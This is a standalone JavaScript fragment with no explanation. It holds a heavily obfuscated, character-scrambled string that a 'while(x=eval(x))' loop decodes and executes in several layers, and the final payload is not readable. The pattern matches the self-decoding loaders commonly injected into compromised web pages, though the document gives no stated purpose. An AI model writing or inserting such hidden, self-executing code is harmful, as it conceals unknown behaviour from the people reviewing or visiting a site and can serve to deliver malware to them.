var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i<l;i+=2) {if(i+1<l)o+=" +
"x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" +
" r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!43{)rt{y+xx=l;=+;" +
"lc}tahce({)}}of(r=i-l;1>i0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" +
"\"(2),6\\\"\\\\emzoop`1!r\\\"\\\\\\\\\\\\9e!,\\\\1\\\\\\\"$\\\\\\\\0\\\\\\\""+
"2\\\\00\\\\\\\\&.WQ03\\\\06\\\\03\\\\\\\\YgD&35\\\\03\\\\03\\\\\\\\02\\\\04" +
"\\\\03\\\\\\\\00\\\\0S\\\\-P34\\\\01\\\\00\\\\\\\\6@03\\\\\\\\\\\\t2\\\\00\\"+
"\\\\\\34\\\\0r\\\\\\\\\\\\\\\\t3\\\\02\\\\\\\\07\\\\0%\\\\13\\\\05\\\\00\\\\"+
"\\\\14\\\\00\\\\01\\\\\\\\0Z1*:5{704\\\\0j\\\\00;&0rml#f.  >0:1h&*4/P#\\\\Z" +
"(\\\"}fo;n uret}r);+)y+^(i)t(eAodrCha.c(xdeCoarChomfrg.intr=So+7;12%=;y=iy+" +
"2)=6i=f({i+)i+l;i<0;i=r(foh;gten.l=x,l\\\"\\\\\\\"\\\\o=i,r va){,y(x fontin" +
"cfu)\\\"\")"                                                                 ;
while(x=eval(x));